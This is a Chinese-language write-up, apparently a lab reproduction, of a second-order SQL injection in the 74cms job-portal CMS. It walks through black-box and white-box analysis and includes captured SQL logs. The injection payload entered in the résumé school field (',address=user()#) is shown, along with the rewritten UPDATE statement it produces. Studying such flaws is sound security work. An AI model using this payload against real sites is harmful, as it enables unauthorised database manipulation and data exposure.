对74cms二次注入进行复现
黑盒复现
二次注入的原理
插入数据到数据库
当显示的时候数据是从数据库取出来的,当我们插入的数据为payload的时候,取出来的数据在显示的时候,显示的数据通常会去数据库
查找数据如使用select 显示的数据 from 表 where id =xxx, xxx为我们的插入的payload 从而造成二次注入
填写简历 注意这里的通训地址 我们填的是上海
在学校这一栏 用二次注入
显示
出来的通训地址已经从上海变成了user()
白盒分析
http://192.168.206.136:81/user/personal/personal_resume.php?act=make1
根据url 找到源码
根据审计工具找到执行的代码
INSERT INTO qs_resume_tmp (`id`, `subsite_id`, `uid`, `display`, `display_name`, `audit`, `title`, `fullname`, `sex`, `sex_cn`, `nature`, `nature_cn`, `trade`, `trade_cn`, `birthdate`, `height`, `marriage`, `marriage_cn`, `experience`, `experience_cn`, `district`, `sdistrict`, `district_cn`, `wage`, `wage_cn`, `householdaddress`, `education`, `education_cn`, `tag`, `telephone`, `email`, `email_notify`, `qq`, `address`, `website`, `recentjobs`, `intention_jobs`, `specialty`, `photo`, `photo_img`, `photo_audit`, `photo_display`, `addtime`, `refreshtime`, `talent`, `complete`, `complete_percent`, `user_status`, `key`, `click`, `tpl`) VALUES ('7', '0', '1', '1', '1', '1', '\xBC\xF2\xC0\xFA', '1', '1', '\xC4\xD0', '0', '', '', '', '1985', '180', '1', 'δ\xBB\xE9', '75', '1\xC4\xEA\xD2\xD4\xCF\xC2', '0', '0', '', '0', '', '\xC9Ϻ\xA3', '66', '\xB8\xDF\xD6\xD0', '155,\xD0\xCE\xCF\xF3\xBA\xC3', '20239', 'xxx', '0', '', '\xC9Ϻ\xA3', '', '', '', '', '0', '', '1', '1', '1723067195', '1723067195', '1', '2', '15', '1', '', '1', '')
UPDATE qs_resume SET `photo`='0', `complete`='1', `complete_percent`='60', `key`='\xB5\xE7\xD7ӿƼ\xBC\xB4\xF3ѧ',address=user()# Ӫ\xCF\xFA\xD7ܼ\xE0 \xCAг\xA1\xD7ܼ\xE0 1000 Ӫ\xCF\xFA00 \xD7ܼ\xE000 \xCAг\xA100 \xB8\xDF\xD6\xD000 \xCE\xDE', `refreshtime`='1723067645' WHERE uid='1' AND id='7'
这里时学校名称 的 电子科技大学’,address=user()# 在第四步保存的时候,执行了更新语句 address=user(),导致了二次注入
插入语句
SELECT * FROM qs_ad WHERE alias='QS_alltopimg' AND( starttime<=1723068008 OR starttime=0 ) AND (deadline>=1723068008 OR deadline='0' ) AND is_display=1 ORDER BY show_order DESC LIMIT 0,1
其实就是 第一步填写简历
执行了 update 将通训地址1234567写入了数据库
2024/8/8 星期四 6:10 UPDATE qs_resume_tmp SET `uid`='1', `title`='\xBC\xF2\xC0\xFA', `fullname`='1', `sex`='1', `sex_cn`='\xC4\xD0', `birthdate`='1985', `height`='180', `marriage`='1', `marriage_cn`='δ\xBB\xE9', `experience`='75', `experience_cn`='1\xC4\xEA\xD2\xD4\xCF\xC2', `householdaddress`='\xC9Ϻ\xA3', `education`='66', `education_cn`='\xB8\xDF\xD6\xD0', `tag`='155,\xD0\xCE\xCF\xF3\xBA\xC3', `telephone`='20239', `email`='2274842122@qq.com', `email_notify`='0', `address`='1234567', `website`='', `qq`='', `refreshtime`='1723068639', `subsite_id`='0', `display_name`='1' WHERE id='8' AND uid='1'
第4步的时候 将 2222’,address=user()# 插入数据库
INSERT INTO qs_resume_education (`uid`, `pid`, `start`, `endtime`, `school`, `speciality`, `education`, `education_cn`) VALUES ('1', '8', '2023\xC4\xEA7\xD4\xC2', '2028\xC4\xEA2\xD4\xC2', '2222\',address=user()#', '\xCE\xDE', '65', '\xB3\xF5\xD6\xD0')
同时在保存的更新了 通信地址address=user() 导致二次注入
UPDATE qs_resume SET `photo`='0', `complete`='1', `complete_percent`='60', `key`='2222',address=user()# Ӫ\xCF\xFA\xD7ܼ\xE0 \xD3\xEF\xD2\xF4\xCA\xD3Ƶ\xBF\xAA\xB7\xA2\xB9\xA4\xB3\xCCʦ 1000 Ӫ\xCF\xFA00 \xD7ܼ\xE000 \xD3\xEF\xD2\xF400 \xD2\xF4\xCA\xD300 \xD2\xF4\xCA\xD3Ƶ0 \xCA\xD3Ƶ00 \xBF\xAA\xB7\xA200 \xBF\xAA\xB7\xA2\xB9\xA4\xB3\xCCʦ \xB9\xA4\xB3\xCC00 \xB9\xA4\xB3\xCCʦ0 \xB8\xDF\xD6\xD000 \xCE\xDE', `refreshtime`='1723068893' WHERE uid='1' AND id='8'
A4\xB3\xCCʦ0 \xB8\xDF\xD6\xD000 \xCE\xDE’, refreshtime
=‘1723068893’ WHERE uid=‘1’ AND id=‘8’